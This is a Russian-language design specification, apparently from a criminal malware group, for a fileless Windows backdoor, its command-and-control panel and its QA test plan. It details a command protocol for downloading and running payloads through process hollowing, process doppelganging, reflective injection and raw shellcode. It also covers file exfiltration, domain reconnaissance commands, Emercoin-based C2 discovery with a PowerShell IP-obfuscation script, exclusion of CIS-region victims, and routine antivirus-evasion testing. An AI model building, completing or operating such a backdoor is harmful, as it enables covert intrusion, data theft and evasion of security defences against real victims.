You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
658 lines
32 KiB
658 lines
32 KiB
МИНИМАЛИСТИЧНЫЙ BACKDOOR
|
|
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
|
|
|
|
ЦЕЛЬ
|
|
Разработать backdoor (разновидность легковесного бота), не использующий текущую кодовую базу, минимально достаточной для закрепления на целевых компьютерах,
|
|
по возможности не сохраняющий ничего на жесткий диск (fileless-технология)
|
|
В дальнейшем "бот" и "бэкдор" - слова-синонимы.
|
|
|
|
ТРЕБОВАНИЯ
|
|
Backdoor должен обладать следующим функционалом:
|
|
*- закрепляться в системе (переживать перезагрузку системы)
|
|
- связываться с админкой, докладывать о статусе и получать от нее команды
|
|
- НЕ ДОЛЖЕН обходить UAC
|
|
- НЕ ДОЛЖЕН повышать привилегии
|
|
- адреса командного сервера получать из общедоступных сервисов (emercoin dns, кеш гугла, суммы в транзакциях биткоин итд - чем проще тем лучше)
|
|
- работать через прокси, если он указан в настройках операционной системы (inetcpl.cpl -> Подключение -> Настройки прокси-сервера)
|
|
- собирать и отправлять на сервер инфу о системе: **
|
|
- версия и разрядность ОС
|
|
- тип и версия антивируса
|
|
- по возможности список установленного софта
|
|
(примечание заказчика: не принципиально если мы знаем антивирус - но вцелом можно, это не нагрузно, если так делаем списком процессов - то дополнительно можно в админке добавить поиск по ПИДу)
|
|
- имя пользователя
|
|
- имя компьютера
|
|
- в домене компьютер или нет (если да, то название домена)
|
|
- список trusted доменов и информация по домену
|
|
(примечание заказчика: cmd /c net view /all | /c net view /all /domain | /c nltest /domain_trusts /all_trusts + обавляем опрос доменного пользователя administrator, как реализовано в трике)
|
|
- каталог откуда запущен
|
|
- трафик к командному серверу должен по возможности маскироваться (в идеале - не TCP)
|
|
- уметь скачать и запустить .exe или .dll
|
|
- должна быть защита от перехвата ботнета при компрометации сервера или прокладки (т.е. обладания доступом к командному серверу недостаточно для того,
|
|
чтобы перенаправить управление всем ботнетом на другой командный сервер).
|
|
- немедленный отказ при работе в зоне .ru/СНГ - порезать на бекенде; также проверять наличие
|
|
русской раскладки.
|
|
*- удаление по команде
|
|
|
|
* пункты со звездочкой: предполагается, что бот будет НЕрезидентным, т.е. НЕ будет закрепляться в системе.
|
|
Потому все что касается резидентности (закрепление, обновление, удаление) в данной версии делать НЕ НУЖНО.
|
|
Однако заглушки остаются и в замысел закладывается то, что отдельные (точечные) исполнения могут быть резидентными и данные функции поддерживать.
|
|
** сбор информации может быть вынесет во внешний скрипт и не являться частью бэкдора.
|
|
|
|
Весь дополнительный функционал (в том числе интерактивный shell) РЕАЛИЗУЕТСЯ СТОРОННИМ СОФТОМ, загружаемым по команде.
|
|
Можно подобрать любую нагрузку для запуска. То, чего нету в паблике и есть у нас, можно адаптировать для запуска как .exe (соксы итд).
|
|
|
|
|
|
РЕАЛИЗАЦИЯ
|
|
|
|
0. Общие требования
|
|
Бэкдор должен придерживаться следующих правил:
|
|
- ничего не сохранять в виде файлов, по возможности и свое тело (fileless)
|
|
- работать с правами непривилегированного пользователя
|
|
- минимальная версия ОС - Windows 7/Windows 2008 (без R2)
|
|
- основной рабочий вариант - 32-разрядная сборка, которая должна работать как с 32-, так и с 64-разрядной нагрузкой (запускаемыми файлами).
|
|
- 64-разрядная сборка также входит в комплект поставки.
|
|
|
|
Fileless означает, что значительная часть функционала реализуется скриптами powershell, wscript, jscript и прочими встроенными в Windows интерпретаторами.
|
|
При необходимости сохранения чего-либо на диск, следует использовать стеганографию - мимикрию под валидные типы файлов
|
|
(картинки, криптографические сертификаты .p12, .pfx, .crt итд), сохранение тела .exe в реестре, в файловых потоках (ntfs file streams)
|
|
и прочих неочевидных местах.
|
|
|
|
Бэкдор должен быть выполнен в соответствии с требованиями "оформление кода и сборок".
|
|
Вдобавок, нужно минимизировать размер бинарного файла - путем отключения всевозможных проверок безопасности Visual Studio (может, использовать другой компилятор?),
|
|
отключения по-максимуму стандартной библиотеки, итд.
|
|
|
|
Следует подготовить проекты для сборки в разных компиляторах (как минимум, кроме Visual Studio - еще MinGW, возможно clang) с целью повысить вариативность бинарников.
|
|
|
|
Бот может быть оформлен как в виде .exe, так и в виде .dll (для более простого запуска из загрузчика,
|
|
т.к. развертывание .dll из памяти проще чем безфайловый запуск .exe).
|
|
В таком случае точка входа в .dll - функция DllMain(DLL_PROCESS_ATTACH)
|
|
|
|
1. Идентификация
|
|
Бэкдор должен однозначно идентифицироваться уникальным идентификатором.
|
|
Предлагается использовать md5-хэш от строки "дата_создания%windir%.имя_компьютера.дата_создания%windir\system32%.имя_домена_или_workgroup",
|
|
причем использовать НЕ hex-представление, а обычное 10-чное представление хеша в виде длинного 128-битного числа.
|
|
- ИД всякий раз должен генерироваться
|
|
- при этом он должен быть одинаков при запуске от разных пользователей системы
|
|
- он не должен сохраняться на диск
|
|
- он должен быть уникален
|
|
|
|
Вторым важным идентификатором является группа - строка произвольной длины. Самим ботом никак не интерпретируется.
|
|
Она зашита в бинарник на этапе сборки; единственное ее предназначение с точки зрения бота - быть отправленным на сервер.
|
|
|
|
Если в боте нету жестко прошитой группы в теле самого бота, то бот _не_отправляет_ значение группы в запросах (см.ниже).
|
|
|
|
Идентификатор нужен для того, чтобы отличить одного бота от другого.
|
|
Группа нужна для того, чтобы знать владельца бота (оператора, которому доступны действия с ним).
|
|
|
|
|
|
2. Защита от перехвата управления
|
|
Возможные сценарии захвата управления ботнетом следующий:
|
|
- захват контроля над скомпрометированной прокладкой
|
|
- спуфинг доменных имен на DNS-серверах
|
|
|
|
Защита состоит в валидации командных серверов по цифровой подписи, и резервировании соединений.
|
|
Подробно алгоритм соединения и валидации описан в ТЗ Резидентный загрузчик.
|
|
|
|
|
|
ПРОТОКОЛ ОБМЕНА С BACKENDОМ
|
|
|
|
1. Общие требования
|
|
Весь обмен идет по протоколу HTTP(S). Возможно туннелирование протокола через другие транспорты (DNS, ICMP) с целью прохода файрволлов и скрытия трафика,
|
|
но база - HTTP.
|
|
|
|
Все запросы содержат в URI идентификатор бэкдора, тип операции и параметры, например
|
|
GET /%id%/%operation%/%params%
|
|
|
|
Ответ с HTTP-кодом 200 считается успешным; все коды, не равные 200 обозначают ошибочную ситуацию.
|
|
|
|
Группа должна передаваться при любом запросе на сервер в виде заголовка Cookie с именем group и значением группы.
|
|
|
|
Все команды скачивания файла из сети предполагают, что файл шифруется.
|
|
В качестве алгоритма шифрования используется XOR. Ключом является идентификатор бэкдора в HEX-представлении.
|
|
Предполагается, что админка будет готовить и выдавать линк на скачивание
|
|
шифрованого тела файла для каждого бота.
|
|
Предполагается, что админка будет кешировать часто запускаемые файлы, чтобы сэкономить на числе
|
|
загрузок файлов в админку.
|
|
|
|
Все команды отправки данных на сервер (POST) предполагают такое же шифрование содержимого тела POST-запроса.
|
|
|
|
Все команды запуска программы на выполнение предполагают следующее:
|
|
- %cmdline% используется для обозначения командной строки, передаваемой запускаемому процессу. При этом в командной строке могут быть пробелы.
|
|
То есть, в команде вида "10 https://site.com/file.xyz -c -z -a" командной строкой является подстрока "-c -z -a",
|
|
что соответствует условному обозначению %cmdline% в дальнейших примерах.
|
|
- в командной строке может использоваться макрос %id%, вместо которого подставляется идентификатор бэкдора в десятичном представлении.
|
|
Например, полученная бэкдором с ИД 12345 с сервера команда "10 1 0 https://site.com/file.xyz -c -z -a -i %id%" должна быть преобразована в
|
|
командную строку "-c -z -a -i 12345" перед передачей запускаемому процессу.
|
|
- для любого запускаемого процесса должна устанавливаться переменная окружения VERS, содержащая идентификатор бота.
|
|
|
|
В дальнейшем список макросов командной строки может быть расширен - предусмотреть.
|
|
|
|
Запуск скриптов и команд cmd/powershell предполагается делать обычным CreateProcess().
|
|
Запуск сторонних .exe следует производить с помощью скрытных техник Process Hollowing/Process Doppelganging.
|
|
|
|
2. Подключение к командному серверу
|
|
В бэкдоре прошито на этапе сборки несколько параметров:
|
|
- идентификатор группы
|
|
- адрес основного сервера для связи
|
|
- адрес резервных emercoin-доменов (несколько)
|
|
|
|
Алгоритм поиска и валидации к серверу описан в ТЗ Резидентный загрузчик.
|
|
|
|
При любом сетевом сбое в уже установленном соединении с сервером (таком как отсутствие ответа по таймауту), по умолчанию:
|
|
- делаем три повторных попытки
|
|
- делаем повторный поиск сервера по алгоритму в ТЗ Резидентный загрузчик.
|
|
|
|
Предполагается, что:
|
|
- если это временный сетевой сбой, то бэкдор возобновит попытки работы после перезагрузки компьютера
|
|
- если это постоянное отключение, лучше вести себя тихо и не выдавать свое присутствие в системе.
|
|
|
|
После резолва IP-адреса из домена Emercoin, следует преобразовать IP-адрес путем операции XOR 254 для каждого октета.
|
|
Например, 124.245.101.251 (получен из DNS-ответа) -> 130.11.155.5
|
|
|
|
Т.к. DNS-информация доступна каждому, таким образом защищаемся от абюзов по взятым из DNS-записи адресам.
|
|
|
|
Код скрипта ipxor.ps1 на PowerShell:
|
|
$ip = read-host -prompt "Enter IP";
|
|
write-host $ip;
|
|
$newip = '';
|
|
($ip.split('.') | foreach {
|
|
$octet = [byte] ( $_)
|
|
$octet = $octet -bxor 254;
|
|
$newip = -join($newip,'.',$octet);
|
|
}
|
|
)
|
|
write-host $newip;
|
|
|
|
|
|
4. Запрос команды:
|
|
GET /%id%/2
|
|
|
|
Ответ: текст вида "код_команды параметры"
|
|
|
|
Бот дает такой запрос:
|
|
- по умолчанию каждые 5 минут
|
|
- либо по значению из последнего по счету ответа NOP (см.ниже)
|
|
|
|
Большинство команд блокирует выполнение (запуски файлов на выполнение с не-нулевым значением timeout),
|
|
т.е. предполагается, что нужно дождаться результата предыдущей команды перед выполнением следующей.
|
|
Если предыдущая команда была блокирующей, то HTTP-запрос команды делается все равно, но игнорируются все команды кроме 14 (сброс состояния).
|
|
|
|
Коды команды и параметры:
|
|
|
|
0 NOP %time% - нет операции. Время - число секунд, на которое должен заснуть бот до следующего отстука на сервер.
|
|
1 %time% Получить информацию о системе. Время - число секунд, на которое должен заснуть бот до следующего отстука на сервер.
|
|
Параметр time необязателен.
|
|
* информация о системе также может получаться путем запуска .cmd-скрипта (командой 12)
|
|
10 %runtype% %timeout% %mask_process% %URI% %cmdline% - скачивание и запуск .exe-файла
|
|
10 4 [%mode% %cmdline%]
|
|
- %runtype% - 1 для обычного запуска (CreateProcess; запускаемый файл произвольной разрядности)
|
|
2 для запуска техникой process hollowing (запускаемый файл той же разрядности что и бэкдор)
|
|
3 для запуска техникой process doppelganging (запускаемый файл той же разрядности что и бэкдор)
|
|
(возможно использование техники Process Herpaderping)
|
|
4 самообновление: заместить тело загрузчика скачанным файлом и перезапуститься.
|
|
Если тело пустое, начать процедуру самообновления путем запуска загрузчика (то же что режим 0, остается для совместимости)
|
|
%mode% - режим запуска:
|
|
0 - без файла (запускаем лоадер, который стартовал этот бот и завершаем работу)
|
|
1 - exe-лоадер, запуск командой: filename.exe %cmdline%
|
|
2 - dll-лоадер, запуск командой: rundll32 filename.dll,%cmdline%
|
|
3 - dll-лоадер, запуск командой: regsvr32 /s filename.dll %cmdline%
|
|
4 - js-лоадер (способ запуска надо будет уточнить)
|
|
cmdline - параметры командной строки запуска
|
|
для mode=2 первый параметр - имя экспорт-функции - точки входа в лоадер
|
|
5 дроп файла на диск без запуска. cmdline задает полный путь куда положить файл.
|
|
- %timeout% - таймаут выполнения команды, в секундах. 0 - не дожидаться выполнения команды (считать, что команда выполнится как фоновый процесс)
|
|
Если таймаут указан, бот должен дождаться выполнения команды и отдать код и статус ее завершения последующим запросом.
|
|
При этом, бот не может принимать команды на запуск новых процессов до окончания выполнения текущего (приход такой команды из админки считается ошибкой и ботом игнорируется).
|
|
Если таймаут не указан, то запускаемый процесс считается фоновым, его судьба не заботит бот, и он может запускать новые процессы без ограничений.
|
|
Если процесс не завершился за указанный таймаут, бот прерывает процесс и сигналит ошибку на сервер.
|
|
- %mask_process% - имя процесса для маскировки process hollowing/process doppelganging
|
|
0 - не использовать
|
|
1 - notepad.exe
|
|
2 - explorer.exe
|
|
3 - svchost.exe
|
|
4 - cmd.exe
|
|
- %URI% - линк, откуда следует скачать файл (и расшифровать); одна попытка скачать файл, при неудаче - в ответ на команду сообщение "could not download file from %uri%"
|
|
В протоколе версии 2 этот параметр отсутствует (здесь и в остальных командах), нагрузка передается в теле GET-ответа.
|
|
- %cmdline% - командная строка для запуска (опциональная)
|
|
11 %runtype% %pid% %timeout% %URI% %cmdline% - скачивание и запуск .dll-файла
|
|
- %runtype% 0 - rundll Предполагается запуск командой rundll32.exe следующим образом:
|
|
rundll32.exe dllname.dll,%cmdline%
|
|
1 - regsvr Предполагается запуск командой regsvr.exe следующим образом:
|
|
regsvr.exe dllname.dll %cmdline%
|
|
Название точки входа dll всегда DllRegisterServer
|
|
2 - regsvr (silent) То же что и 1, только запуск осуществляется в "тихом" режиме, команда запуска: regsvr32.exe /s dllname.dll %cmdline%
|
|
3 - reflective injection в процесс %pid%.
|
|
3 и 4 заготовка для
|
|
Предполагается использовать технику рефлективной инъекции https://github.com/dismantl/ImprovedReflectiveDLLInjection
|
|
Название функции загрузчика (bootstrap function, в оригинале ф-я ReflectiveLoader) передается первым параметром %cmdline.
|
|
4 - reflective injection в собственный процесс
|
|
- %pid% 0 не используется (для runtype 0 1 3)
|
|
не 0 - номер процесса для рефлективной инъекции
|
|
12 %runtype% %timeout% [%cmdline%]\r\n%script% - запуск .bat-скрипта с параметрами
|
|
- %runtype% - 1 запуск скрипта через канал (см.примечание к команде 13 по технике запуска)
|
|
2 дамп скрипта на диск и запуск через CreateProcess
|
|
- %cmdline% - командная строка самого скрипта (т.е. то, что передается в параметрах %1, %2 итд в .bat-скрипт - это НЕ командная строка процесса cmd.exe!
|
|
параметр необязательный
|
|
текст скрипта находится после разделителя строки \r\n
|
|
При запуске скрипта с дампом на диск, имя файла со скриптом автогенерируется; после выполнения временный файл со скриптом удаляется
|
|
13 %runtype% %timeout% [%cmdline%]\r\n%script% - запуск powershell-скрипта с параметрами
|
|
- %runtype% - 1 запуск скрипта через канал
|
|
2 дамп скрипта на диск и запуск через CreateProcess
|
|
- %cmdline% - командная строка самого скрипта (т.е. то, что передается в argv в .ps1-скрипт - это НЕ командная строка процесса powershell.exe!
|
|
Текст скрипта находится после разделителя строки \r\n
|
|
В протоколе версии 2 текст скрипта передается в теле GET-ответа.
|
|
Предполагается запуск следующим образом:
|
|
runtype = 1
|
|
открывается канал в родительском процессе, его дескриптор указывается в STARTUPINFO при запуске powershell.exe, далее скрипт пишется в этот канал.
|
|
Powershell запускается так:
|
|
powershell -
|
|
runtype = 2
|
|
powershell -executionpolicy bypass -file tmpscript.ps1 %cmdline%
|
|
При запуске скрипта с дампом на диск, имя файла со скриптом автогенерируется; после выполнения временный файл со скриптом удаляется
|
|
14 - reset. Сброс обработчика предыдущей команды. Если предыдущая команда обладает состоянием (ждем результата выполнения процесса),
|
|
мы сбрасываем это состояние и больше ничего не ждем.
|
|
15 %pid% - остановить процессс (TerminateProcess)
|
|
16 filename - загрузить файл с компьютера на сервер
|
|
17 %hexcode% запуск произвольного двоичного кода в контексте собственного процесса,
|
|
используя следующую технику https://github.com/DimopoulosElias/SimpleShellcodeInjector/blob/master/SimpleShellcodeInjector.c
|
|
Формат кода: AB CD EF 01 23 45 67 - 16-ричная строка с разделителем пробелом, верхний регистр, БЕЗ переводов строки, длина ограничена 1 мегабайтом.
|
|
Таймаут не используется. Предполагается что shell-код не блокирующий.
|
|
18 %timeout% закрепиться в системе. Предполагается, что бот закрепляет не себя самого, а загрузчик.
|
|
100 Удалиться из системы.
|
|
Команда актуальна только для варианта бота, который использует закрепление в системе.
|
|
|
|
5. Результат выполнения предыдущей команды
|
|
POST /%id%/3
|
|
Тело ответа содержит текст в упаковке form/urlencoded.
|
|
Интерпретация зависит от предыдущей команды.
|
|
|
|
Предполагается, что до получения ответа на команду, последующие команды из админки заблокированы
|
|
(иначе невозможно будет понять, ответ на какую из команд пришел).
|
|
|
|
Бот отправляет результат в цикле до тех пор, пока не будет получен любой ответ от сервера (в том числе ошибочный - HTTP-коды 40*, 50*)
|
|
Если в течение трех попыток был таймаут передачи, бот удваивает интервалы отправки, вплоть до достижения интервала в 30 минут.
|
|
Пока не отправлен ответ, новые задачи бот не забирает.
|
|
|
|
5.0. Ответ на команды запуска файлов
|
|
Для команд запуска файла ответ состоит из двух частей: идентификатора процесса, и вывода программы (stdout И stderr), разделенные символом новой строки.
|
|
|
|
pid=1234
|
|
stdout and stderr here
|
|
|
|
Если произошла ошибка запуска, в качестве идентификатора отдается 0 (ноль), и следующей строкой идет сообщение об ошибке.
|
|
|
|
5.1. Ответ на команду 1 с информацией о системе
|
|
Тело POST-запроса отправляется в упаковке form/urlencoded, со следующими полями:
|
|
group=%имя группы%
|
|
path=полный путь к бинарному файлу бекдора (если не используется полностью fileless технология)
|
|
os=3-7 цифр содержащих major-version, minor-version и build операционной системы, если таковые имеются у системы
|
|
(например, для 6.1 build 7600 это будет 617600).
|
|
os[1]=признак типа ОС (W=Windows) и версия ОС
|
|
os[2]=билд ОС
|
|
os[3]=ProductInfo https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-getproductinfo
|
|
Для Windows 7 (Version 6.1 build 7600 ProductInfo 0x00) это будет os[1]=W61&os[2]=7600&os[3]=00
|
|
arch=архитектура (разрядность): 86 или 64
|
|
cname=имя компьютера
|
|
uname=имя пользователя
|
|
av[]=тип антивируса
|
|
avp[]=версия антивируса
|
|
domain=имя домена или рабочей группы компьютера (можно получить по NetWkstaGetInfo)
|
|
net=результат команды net view /all
|
|
netdomain=результат команды net view /all /domain
|
|
net group "Domain Computers" /domain
|
|
trust=результат команды nltest /domain_trusts /all_trusts
|
|
admin=результат команды net localgroup "administrator"
|
|
admindomain=результат команды net group "domain admins" /dom
|
|
soft=список установленных программ
|
|
ip=внешний IP-адрес компьютера
|
|
locale=локаль
|
|
tz=временнАя зона
|
|
ps=список процессов
|
|
wsl=наличие подсистемы WSL/WSL2 на компьютере
|
|
|
|
5.2. Ответ на команду 100 удаления из системы
|
|
Строка OK в случае успеха, любая произвольная строка с описанием ошибки в случае ошибки.
|
|
|
|
5.3. Ответ на команду 10-4 самообновления
|
|
Произвольная строка о статусе, сообщающая о результате действий или намерениях бэкдора.
|
|
Например, "ОК", или "Will autoupdate in 60 seconds", или "Cannot proceed"
|
|
|
|
5.4. Ответ на команду 15 об остановке процесса
|
|
В качестве ответа возвращается результат выполнения GetLastError() сразу после выполнения TerminateProcess()
|
|
в виде десятичного числа
|
|
|
|
5.5. Ответ на команду 16 о загрузке файла на сервер
|
|
В качестве ответа возвращается содержимое файла "как есть", без контейнеров x-www-urlencoded или multipart/form-data, чтобы не раздувать объем передачи
|
|
за счет избыточного кодирования.
|
|
Обязательно должен передаваться заголовок Content-Length.
|
|
Значение заголовка Content-Type: application/octet-stream
|
|
Передаются файлы размером до 10 мегабайт.
|
|
На попытку запросить файл большего размера, в теле идет сообщение об ошибке, например File too large (размер)
|
|
|
|
Админка принимает и сохраняет файл как часть истории; файл доступен для скачивания из истории команд конкретного бота.
|
|
|
|
5.6. Ответ на команду 17 о выполнении произвольного shell-кода
|
|
Произвольная строка о статусе, сообщающая о результатах.
|
|
Например:
|
|
HEX parse error
|
|
Done
|
|
Still alive итд
|
|
|
|
5.7. Ответ на команду 18 о закреплении в системе
|
|
Произвольная строка о статусе, сообщающая о результатах.
|
|
Например:
|
|
Done
|
|
Error anchoring, error code = %ld
|
|
Still alive итд
|
|
|
|
6. Отправка сообщения
|
|
POST /%id%/4
|
|
В теле POST идет произвольное сообщение, зашифрованное XOR %id%
|
|
Бэкдор отправляет сообщение по своей инициативе (не в ответ на какое-либо действие или запрос с сервера).
|
|
|
|
Следует пользоваться отправкой сообщений как можно реже - не стоит флудить.
|
|
Предполагается использование этой возможности как удаленное логирование и трассировка.
|
|
|
|
|
|
АДМИНКА, ТРЕБОВАНИЯ
|
|
|
|
Список ботов
|
|
- отображаются боты с IP-адресом, внутренним айди, группой, страной, последней активностью, локальным доменом
|
|
(примечание заказчика: при его отсутствии указанием что это воркгруппа, произвольным меняемым комментарием)
|
|
- фильтры и сортировка по всем полям
|
|
в том числе, во второй версии, нужен поиск по всей системной инфе (версия ОС, наличие/отсутствие софта, итд)
|
|
- пагинация или бесконечный скролл (на выбор разработчика)
|
|
|
|
На странице бота:
|
|
- возможность задать заметку для бота (произвольное редактируемое текстовое поле)
|
|
- время последней активности
|
|
- информация о системе отдельной секцией/табом
|
|
- команды боту (в соответствии с перечнем команд из соотв.раздела)
|
|
- история бота (каждое событие с датой - установка, все отданные оператором команды с датой-временем со всеми результатами,
|
|
события от бота (запрос 4))
|
|
|
|
Предполагается, что после отдачи команды боту, последующие команды блокируются до получения ответа с бота.
|
|
Блокировка снимается после ухода бота в оффлайн (прошло больше времени, чем двойной интервал запроса ботом команды).
|
|
|
|
В СЛУЧАЕ, ЕСЛИ IP-АДРЕС БЭКДОРА ГЕОЛОЦИРУЕТСЯ В ЗОНЕ СНГ, ВСЕ КОМАНДЫ КРОМЕ "УДАЛИТЬСЯ" ДОЛЖНЫ БЫТЬ ЗАПРЕЩЕНЫ У ОПЕРАТОРА.
|
|
|
|
Предполагается наличие справочника часто выполняемых файлов (кэш запуска), как для удобства оператора,
|
|
так и для экономии трафика и времени на повторных загрузках одних и тех же команд в админку.
|
|
|
|
Роли доступа:
|
|
- админ (может создавать и удалять операторов и делать всё)
|
|
- оператор
|
|
Уровень доступа оператора регулируется на основании:
|
|
- группы (в первой версии)
|
|
- страны (это и далее - во второй версии)
|
|
- диапазона IP-адресов
|
|
|
|
|
|
ПРИЛОЖЕНИЕ
|
|
1. Код получения внешнего IP-адреса
|
|
2. Код DNS-резолва через Emercoin
|
|
3. Код получения списка установленных программ
|
|
4. Код запуска программы через process hollowing/doppelganging
|
|
5. Код DNS-туннеля для TCP-соединений
|
|
6. Код обфускации строк
|
|
7. Код обфускации системных вызовов
|
|
|
|
|
|
ПЛАН ТЕСТИРОВАНИЯ
|
|
|
|
Полное функциональное тестирование проводим при:
|
|
- тестировании новой реализации бэкдора
|
|
- существенных изменений в версии
|
|
- если замечены существенные недостатки в работе.
|
|
|
|
Дымный тест на закрепление проводим еженедельно.
|
|
|
|
Тест на АВ проводим ежедневно и при подготовке криптов.
|
|
Исходник (анкрипт) тестируется на АВ
|
|
- после того, как разработчик закончил чистку
|
|
- каждое утро, если до того исходник был чистый (если есть детекты, этого нету смысла делать)
|
|
- если есть основания полагать что есть детекты.
|
|
Крипт тестируется на АВ всегда.
|
|
|
|
ПОЛНОЕ ФУНКЦИОНАЛЬНОЕ ТЕСТИРОВАНИЕ
|
|
|
|
Проверяем всю систему в комплексе - резидентный загрузчик, бэкдор, админку.
|
|
В настройках антивируса нужно отключить отправку образцов и облачную защиту, во всяком случае на первых порах, дабы не слились образцы.
|
|
|
|
0. Получаем от разработчика комплект лоадеров - логированная и нелогированная версии, x86 и x64.
|
|
Сначала проверяем логированную версию, потом нелогированную. Проверяем на находящихся в сети виртуальных машинах.
|
|
Так делаем затем, чтобы на любую ошибку можно было показать лог и позвать разработчика на машину.
|
|
Если при проверке нелогированной версии возникла ошибка, пытаемся повторить ее на логированной.
|
|
Если на логированной повторяется, фиксируем лог и зовем разработчика.
|
|
Если на логированной НЕ повторяется, фиксируем что баг присутствует только на нелогированной версии.
|
|
Обязательное условие успеха теста на любом шаге - на экране целевой машины нет никакой активности (всплывающих окон, сообщений от АВ итд),
|
|
если иначе не оговорено (например, если это не специальная сборка, которая наоборот показывает запускаемые программы итд итп).
|
|
|
|
1. Запускаем на целевой ВМ лоадер.
|
|
2. Переходим в админку под ролью оператора, которому доступна группа этого бота.
|
|
Ждем отстука, в течение 5 минут. Если отстука нет, ошибка, стоп.
|
|
Бот должен отображаться как "online", если в течение хотя бы 15 последних минут с ним была связь.
|
|
3. Выполняем по очереди команды.
|
|
Первая команда может выполниться с задержкой (до 5 минут) - это нормально.
|
|
3.1. Get System Info
|
|
Должны получить инфу о системе в соотв.вкладке.
|
|
3.2. Run .exe с разными комбинациями полей Run Type, Host Process (Mask).
|
|
Выбираем для этого такой файл, который не требует сторонних .dll (статически скомпонованный). Например, pscp.exe.
|
|
Команда должна выполниться, в результатах выполнения команды должен быть текст вывода этой команды.
|
|
|
|
* при выборе поля timeout = background run, ответ на команду не ожидается - команда выполняется в фоне и судьба ее нас не интересует.
|
|
Бот немедленно готов к приему новых команд.
|
|
3.3. Run .dll
|
|
TODO
|
|
3.4. Run .bat
|
|
3.4.1. Вводим какую-нибудь отдельную команду, например hostname, whoami, date /t
|
|
Команда должна выполниться, в результатах выполнения команды должен быть текст вывода этой команды.
|
|
3.4.2. Заливаем подготовленный .bat-файл из нескольких команд. Тестировщик должен знать результат отработки этого файла на своей машине.
|
|
Скрипт должен выполниться, в результатах выполнения команды должен быть текст вывода этого скрипта.
|
|
3.5. Run PowerShell
|
|
3.5.1. Вводим какую-нибудь отдельную команду, например $PSVersionTable.PSVersion
|
|
(выводит версию Powershell)
|
|
Команда должна выполниться, в результатах выполнения команды должен быть текст вывода этой команды.
|
|
3.5.2. Заливаем подготовленный .ps1-файл из нескольких команд. Тестировщик должен знать результат отработки этого файла на своей машине.
|
|
Скрипт должен выполниться, в результатах выполнения команды должен быть текст вывода этого скрипта.
|
|
3.6. Reset
|
|
Перед выполнением этой команды, нужно запустить выполнение чего-либо длительного (можно попробовать run .bat timeout 10000),
|
|
что заблокирует выполнение команд ботом.
|
|
После выполнения Reset, предыдущая блокирующая команда должна быть помечена как done, бот готов к приему следующей команды.
|
|
3.7. Terminate Process
|
|
Команда убивает процесс по его номеру (pid)
|
|
Для этого нужно подготовить процесс-жертву (например запустить notepad.exe руками и посмотреть его номер в диспетчере задач).
|
|
После выполнения команды процесс должен завершиться.
|
|
3.8. Download File
|
|
Команда скачивает файл с целевой машины (размер до 10М)
|
|
Нужно ввести полный путь к файлу в соотв.поле.
|
|
После выполнения команды файл должен быть доступен для скачивания, ссылка должна присутствовать в результатах выполнения команды.
|
|
3.9. Suicide
|
|
Команда удаляет лоадер с целевой машины.
|
|
После перезагрузки машины бот не должен отстукивать.
|
|
4. Закрепление.
|
|
После перезагрузки машины бот должен отстучать в админку.
|
|
5. Детекты.
|
|
Не должно быть детектов ни на лоадер, ни на бот.
|
|
6. Обновление
|
|
6.1. Если запущен лоадер x86 на машине x64, он первым делом должен обновиться до x64 версии себя же,
|
|
и далее загружать только x64 бота.
|
|
Простыми словами - лоадер должен запускать бота максимально доступной разрядности.
|
|
6.2.1. Заходим в раздел админки под ролью QA (это человек, который отвечает за релизы и обновления)
|
|
6.2.2. Готовим комплект с новой версией бота и лоадера, в которых прошита та же группа, те же пути обновления.
|
|
6.2.3. УзнаЁм у разработчика строку с версией этого комплекта. Примечание: у каждого файла из комплекта может быть своя версия.
|
|
6.2.4. Заливаем в панели новые версии файлов, выставляем файлам узнанную на предыдущем шаге версию.
|
|
6.2.5. Перезагружаем целевую машину. Обновления должны попасть на машину.
|
|
|
|
ТЕСТ НА ЗАКРЕПЛЕНИЕ
|
|
|
|
Проверяется только отстук в админку, перезагрузка компьютера и повторный отстук после перезагрузки.
|
|
ВАЖНО!
|
|
Необходимо уточнить у разработчика детали закрепления. Запуск после перезагрузки может происходит с задержкой или по косвенному триггеру.
|
|
|
|
ТЕСТ НА АНТИВИРУСНЫЕ ДЕТЕКТЫ
|
|
|
|
Автотесты на ВМ с нужным АВ используются:
|
|
- самим разработчиком в цикле разработки и чистки
|
|
- тестировщиком, для чернового тестирования.
|
|
|
|
Тесты на dyncheck используются:
|
|
- перед окончательной выдачей заказчику
|
|
- по необходимости
|
|
Этого не следует делать часто, дабы не засветить образцы.
|
|
|
|
Дополнительно перед выдачей заказчику нужно проводить тестирование путем скачивания со ссылки, ПРЕДОСТАВЛЕННОЙ ЗАКАЗЧИКОМ,
|
|
с именем файла ПРЕДОСТАВЛЕННЫМ ЗАКАЗЧИКОМ.
|
|
|
|
|
|
ПЛАН ТЕСТИРОВАНИЯ СТАРЫЙ
|
|
Приведен только для истории.
|
|
ТЕСТИРУЕМ по описанному ВЫШЕ плану!
|
|
1. Тестируем получение и исполнение команд. Бэкдор (БД) раз в 30 сек будет запрашивать в админке (AДM) команду,
|
|
исполнять и отправлять ответ.
|
|
|
|
2. Команды выбираются в админке. Таймауты в командах установить 60 секунд.
|
|
|
|
3. Запрос команды GET /%id%/2, ответ POST /%id%/3.
|
|
|
|
4. Команды.
|
|
|
|
4.1. "0 %time%" - в админке no_operation 30 сек.
|
|
ответа нет
|
|
Эту команду нужно выдать первой для ускорения тестирования, т.к. 30 сек установится для БД навсегда.
|
|
|
|
|
|
4.2. Команда 10. Эта команда должна передать на запуск программу, в качестве которой используется test32.exe.
|
|
Программа test32.exe выводит в stdout текст "test" и список полученных параметров. БД должен передать этот вывод в АДM.
|
|
Общий формат 10 %runtype% %timeout% %mask_process% %URI% %cmdline%.
|
|
|
|
4.2.1 "10 1 60 0 %URI% a b c %id%"
|
|
|
|
АДМ должна установить значение %URI% в адрес к test32.exe,
|
|
a b c %id% - это параметры к test32.exe, их выдать как есть, вместе со знаками %. %id% - макрос, который БД заменит на свой id.
|
|
|
|
Ответ при неудачном запуске:
|
|
pid=0
|
|
msg=program start error
|
|
|
|
Ответ при удачном запуске:
|
|
pid=NNNN
|
|
stdout=вывод из программы
|
|
|
|
Ответ при снятии по таймауту:
|
|
pid=NNNN
|
|
msg=timeout
|
|
|
|
|
|
|
|
4.2.2 "10 1 0 0 %URI% a b c %id%"
|
|
то же, что и 4.2.1, но timeout = 0
|
|
|
|
Ответ при неудачном запуске:
|
|
pid=0
|
|
msg=program start error
|
|
|
